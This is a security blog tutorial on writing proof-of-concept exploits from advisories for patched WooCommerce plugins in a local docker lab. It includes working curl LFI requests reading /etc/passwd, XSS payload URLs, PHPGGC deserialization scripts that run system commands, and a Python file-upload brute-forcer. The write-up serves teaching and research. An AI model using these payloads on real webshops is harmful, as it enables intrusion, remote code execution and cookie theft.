Security Advisory to Exploit - A Hands-On Approach with WooCommerce Plugins

November 29, 2020 - 10 minute read - vinulium & parzel

Recently we wanted to practice to write exploits for web applications from vulnerability advisors or descriptions. For this we planned to exploit some Wordpress plugins. We decided to look into WooCommerce Plugins. WooCommerce is an e-commerce plugin for Wordpress with a large number of active installs (>5 million) - practising on WooCommerce thus offers a “real world” scenario, since webshops are an attractive target. Also, setting up a WooCommerce Webshop in docker is not too hard and there is a great variety of plugins, which provides the opportunity to explore different security vulnerabilities. Keep in mind the following was for learning purposes, do not expect to find vulnerabilities for new or up to date plugins. These issues are all patched by now. That is why we created an environment which allows you to easily test your own exploits for these vulnerabilities and downloads the correct vulnerable versions for you.

In this blogpost, we will walk you through the process of getting a working exploit from a security advisory. As most security advisories do not come with a PoC or even a detailed description of the vulnerability, there is often some additional work involved until to get a working exploit from a security advisory - we describe our process on a few selected vulnerabilities, showcasing a few tips & tricks along the way. a selected number of the vulnerabilities we

Overview

You can find the environment here.

The blog post will outline how we identified (starting from the security advisories) and exploited the following vulnerabilities:

It is a nice practice to do this own your own, so try to write PoCs for these and then check back how we approached these issues if you struggle.

Finding advisories

Before we were able to write the actual exploits, we searched for some security advisories for WooCommerce plugins that we could potentially exploit. We consulted the following datasources:

  • https://wpscan.com/, which includes a searchable database of vulnerabilities for Wordpress plugins.
  • https://www.acunetix.com/vulnerabilities/web/ - Acunetix maintains a database of web application vulnerabilities, including vulnerabilities of Web application plugins
  • https://github.com/olbat/nvdcve - A git project which provides a list of vulnerabilities in json

LFI in WOOF – Products Filter for WooCommerce <= 1.1.9

Searching for a vulnerability in various datasources (Google, Github, Twitter) should often be a first the first step when trying to get an exploit for a known security vulnerability - often, someone else published their results already. We found out there is actually a full advisory available including PoC from SEC Consult.

The important part from the SEC Consult advisory for our purpose is this:

2. Local File Inclusion
The parameter "shortcode" within the "admin-ajax.php" script is
affected by
the local file inclusion vulnerability:
POST /wp-admin/admin-ajax.php HTTP/1.1
[...]
 
action=woof_redraw_woof&shortcode=woof_search_options
pagepath=/etc/passwd

Creating a PoC with curl is trivial now:
curl http://localhost/wp-admin/admin-ajax.php -d 'action=woof_redraw_woof&shortcode=woof_search_options pagepath=/etc/passwd'

XSS Woocomerce Currency Switcher <= 1.1.5.1

Again, consulting the internet first proved to be the right step. For this advisory, through Google we found a full PoC online. We can just use the exploit from the advisory: http://localhost/?s=xss';alert(document.cookie);<!--&post_type=product

PHP Object Injection Vulnerability in Booster for WooCommerce <= 3.0.1

Issue

The description for this vulnerability is not very specific as it merely states:”the application fails to sanitize user-supplied input before being passed to the unserialize() PHP function”. PHP unserialize vulnerabilities usually occur when unserialize() is called with attacker-supplied input: This allows the user to fully control what object the unserialize() function returns - for most project, the attacker can craft an object in a way that will lead to code execution. Deserialization is in the OWASP Top Ten and most often can lead to remote code execution right away. The PHP objects needed for this are called “gadgets”, a good explanation of the topic is given here: https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a.

Before we attempt to find gadgets and write an exploit however, we need to identify the exact function where the user-supplied input is deserialized.

As the first step we downloaded a vulnerable version here. After unzipping the plugin we can grep for the vulnerable function call:

➜  woocommerce-jetpack grep -rn "unserialize("     
includes/input-fields/class-wcj-product-input-fields-abstract.php:275:                                          $_value =maybe_unserialize( $_value );
includes/input-fields/class-wcj-product-input-fields-abstract.php:335:                          $the_value =maybe_unserialize( $the_value );
includes/input-fields/class-wcj-product-input-fields-abstract.php:710:                                  $value =maybe_unserialize( $value );
includes/input-fields/class-wcj-product-input-fields-abstract.php:766:                                  $value =maybe_unserialize( $value );
includes/shortcodes/class-wcj-order-items-shortcodes.php:413:                                                           ( isset( $item['tmcartepo_data'] ) ? unserialize($item['tmcartepo_data'] ) : '' ) :
includes/shortcodes/class-wcj-order-items-shortcodes.php:450:                                                   $maybe_unserialized_value = maybe_unserialize( $item[ $column_param ] );
includes/shortcodes/class-wcj-orders-shortcodes.php:264:                        /* $taxes =maybe_unserialize( $the_fee['line_tax_data'] );
includes/shortcodes/class-wcj-orders-shortcodes.php:287:                        /* $taxes =maybe_unserialize( $the_fee['line_tax_data'] );
includes/functions/wcj-general-functions.php:188:                       $value = unserialize( $value);
includes/class-wcj-product-input-fields.php:57:                         $item_field = maybe_unserialize($item_field );
includes/lib/tcpdf_min/tcpdf.php:16277:                         $css =array_merge($css, unserialize($this->unhtmlentities($matches[1][0])));
includes/lib/tcpdf_min/tcpdf.php:19289:                                                         $params =unserialize(urldecode($tag['attribute']['params']));
includes/lib/tcpdf_min/tcpdf.php:20835:                 returnunserialize($this->readDiskCache($this->images[$image]));
includes/lib/tcpdf_min/tcpdf.php:20897:                 returnunserialize($this->readDiskCache($this->fonts[$font]));
includes/class-wcj-emails-verification.php:113:                 $data =unserialize( base64_decode( $_GET['wcj_verify_email'] ) );

The last line immediately sticks out. A user supplied get parameter is base64 decoded and unserialized.

Exploitation

We could look for a gadget ourselves but actually there is a really cool project on Github PHPGGC: PHP Generic Gadget Chains. As we can see it supplies a gadget for WooCommerce 3.4.0 <= 4.1.0+ (WordPress/P/WooCommerce/RCE1). We also modified this gadget a little to support WooCommerce <= 3.4.0 too and performed a pull request that was quickly merged as WordPress/P/WooCommerce/RCE2.

All that is left now, is to find the vulnerable endpoint to trigger the exploit. As we can see the function that is called is process_email_verification(). Looking for this function call we can see it is actually triggered on init:

   function __construct() {
 
       $this->id         = 'emails_verification';
       $this->short_desc = __( 'Email Verification', 'woocommerce-jetpack' );
       $this->desc       = __( 'Add WooCommerce email verification.','woocommerce-jetpack' );
       $this->link_slug  = 'woocommerce-email-verification';
       parent::__construct();
 
       if ( $this->is_enabled() ) {
           add_action( 'init',                              array($this, 'process_email_verification' ),                      PHP_INT_MAX);
           add_filter( 'woocommerce_registration_redirect', array($this, 'prevent_user_login_automatically_after_register' ), PHP_INT_MAX);
           add_filter( 'wp_authenticate_user',              array($this, 'check_if_user_email_is_verified' ),                 PHP_INT_MAX);
           add_action( 'user_register',                     array($this, 'reset_and_mail_activation_link' ),                  PHP_INT_MAX);
       }
   }

So the endpoint is http://localhost/?wcj_verify_email=HERE. Due to the fact that different versions of PHP perform different unserialize we can use docker to create multiple payloads:

#!/bin/bash
 
git clone https://github.com/ambionics/phpggc
php_versions=(7.0 7.4)
for i in "${php_versions[@]}"
do
   echo "php:$i-cli"
   exploit=`docker run -it -v "$(pwd)/phpggc":"/phpggc" "php:$i-cli"
/phpggc/phpggc WordPress/P/WooCommerce/RCE1 system 'echo RCE123' -f -b
-o /phpggc/gadget.txt`
   exploit=$(cat phpggc/gadget.txt)
   curl "http://localhost/?wcj_verify_email=$exploit" --silent | grep
"RCE123" -q && echo "Vulnerable"
   echo ""
done

Note that we use the “-b” flag with phpggc here to create a base64 encoded payload.

WooCommerce Checkout Manager Arbitrary File Upload

For this the hardest part was to find a working setup. Afterwards we could use this advisory to understand the vulnerability. For it to work you need a working order_id. We wrote anautomated PoC which just tries to bruteforce a valid order_id and then we can upload a PHP file to get code execution.

#!/usr/bin/env python3
import requests

def main():
    for i in range(1,1000):
        files = {'test[1]': open('test.php','rb')}
        values = {'order_id': i}
        r = requests.post("
http://localhost/wp-admin/admin-ajax.php?action=wccs_upload_file_func&order_id={i}&name=test".format(i=i)
, files=files, data=values)
        if r.status_code == 200:
            print("Successfully uploaded file")
            print("Navigate to 
http://localhost/wp-content/uploads/wooccm_uploads/{i}/test.php".format(i=i)
)
            break
    r = requests.get("
http://localhost/wp-content/uploads/wooccm_uploads/{i}/test.php")
    if 'Application is vulnerable' in r.text:
        print("Application is vulnerable")
    else:
        print("Application is okay")

main()

exploit.py

<?php echo "Application is vulnerable";?>

test.php

This PoC is not intrusive, as we just upload this PHP file to have a PoC while not allowing other attackers to abuse a PHP webshell for example. Off course, uploading a webshell instead we could easily change this PoC to give us remote code execution instead.

LFI vulnerability in MailChimp for WooCommerce <= 2.1.1

For this vulnerability we were able to find a tweet with a screenshot of a writeup that is not available online anymore. The screenshot points us to the vulnerable PHP code in :

➜  /tmp cat mailchimp-for-woocommerce/admin/partials/tabs/notices.php
 
<?php if(isset($_GET['error_notice']) &&
file_exists(__DIR__.'/errors/'.$_GET['error_notice'].'.php')): ?>
   <?php include(__DIR__.'/errors/'.$_GET['error_notice'].'.php'); ?>
<?php endif; ?>
 
<?php if(isset($_GET['success_notice']) &&
file_exists(__DIR__.'/success/'.$_GET['success_notice'].'.php')): ?>
   <?php include(__DIR__.'/success/'.$_GET['success_notice'].'.php');
?>
<?php endif; ?>
 

As we can see right away there is no path checking or normalisation happening whatsoever. The LFI is somewhat limited as we can only include PHP files though. As a PoC we can include a file from another directory which is not causing any damage by being executed:
curl http://localhost/wp-content/plugins/mailchimp-for-woocommerce/admin/partials/tabs/notices.php?error_notice=../../../../../../../wp-trackback

YITH WooCommerce Compare <= 2.0.9 - Unauthenticated PHP Object Injection

Here we could find another small advisory. It specifically states the vulnerable code fragment in “includes/class.yith-woocompare-frontend.php”:

/**
   * Constructor
   *
   * @return YITH_Woocompare_Frontend
   * @since 1.0.0
   */
  public function __construct() {
 
     // set coookiename
     if ( is_multisite() ) $this->cookie_name .= '_' .
get_current_blog_id();
 
     // populate the list of products
     $this->products_list = isset( $_COOKIE[ $this->cookie_name ] ) ?
json_decode( maybe_unserialize( $_COOKIE[ $this->cookie_name ] ) ) :
array();

This time the cookie value is deserialized and we can simply use the website to check for the cookie name. After that we can use our gadgets from before to create a PoC:

#!/bin/bash
 
git clone https://github.com/ambionics/phpggc
php_versions=(7.0 7.4)
for i in "${php_versions[@]}"
do
   echo "php:$i-cli"
   exploit=`docker run -it -v "$(pwd)/phpggc":"/phpggc" "php:$i-cli"/phpggc/phpggc WordPress/P/WooCommerce/RCE1 system 'echo RCE123' -f -u -o /phpggc/gadget.txt`
   exploit=$(cat phpggc/gadget.txt)
   curl http://localhost/ -H "Cookie: yith_woocompare_list=$exploit;" --silent | grep "RCE123" -q && echo "Vulnerable"
   echo ""
done

Note that we use the “-u” flag here to create a url encoded payload as it is passed in the cookie.

CVE-2018-20966: XSS in Booster for WooCommerce < 3.8.0

For this we took a little different approach then before as we could not find any additional information about the exploit online. We knew the XSS was present in the “Products Per Page” feature though and we knew in which it was patched. To identify the vulnerable part of the code, it is often useful to inspect the fix for the vulnerability. So we downloaded patched version as well as an unpatched version and compared it with meld:

wget https://downloads.wordpress.org/plugin/woocommerce-jetpack.3.8.0.zip
wget https://downloads.wordpress.org/plugin/woocommerce-jetpack.3.7.0.zip
unzip woocommerce-jetpack.3.8.0.zip -d woocommerce-jetpack.3.8.0
unzip woocommerce-jetpack.3.7.0.zip -d woocommerce-jetpack.3.7.0
meld woocommerce-jetpack.3.7.0 woocommerce-jetpack.3.8.0

As we know the functionality must be in the “Products Per Page” feature, we looked into “class-wcj-products-per-page.php” first, as the name suggested it is connected to the feature. On review of the changes we saw that “esc_url( )” was added to escape a function call. This leads us to believe, this was the fix for the XSS. The line was the following:
$html .= '<form action="' . esc_url( remove_query_arg( 'paged' ) ) . '" method="POST">';

When we researched the remove_query_arg function, we found this blog post. As described in this post, due to ambiguous documentation, people thought the result of the remove_query_arg call would be escaped, while it is actually not. This allowed us to create the following XSS payload:
http://localhost/?product_cat=uncategorized&other=a&%22%3E%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E=a

The payload is nested in the parametername, that is not properly escaping the double quote. Through this we can perform a reflected XSS Attack.

Key Takeaways

Roughly, writing an exploit from an advisory can be done in three steps:

  1. Identifying the vulnerable code statement
  2. Identifying an entrypoint to reach that code statement with attacker supplied input
  3. Crafting the actual exploit/PoC

A few tricks that proved useful:

  • When trying to get an exploit from an advisory, try to search for the exploit first - best to use not only Google, but also Github, Twitter and exploit databases. Often, somebody else already did the work.
  • A simple grep in the codebase for calls to unsafe functions might already reveal the vulnerable function call, making it easy to identify the vulnerable code statement.
  • Comparing a patched and a non-patched version of the code can also help in identifying the code responsible for a vulnerability.

Thank you for reading, we hope this blog post and docker environment is of help for you!
For questions or feedback reach out to @vinulium or @parzel2.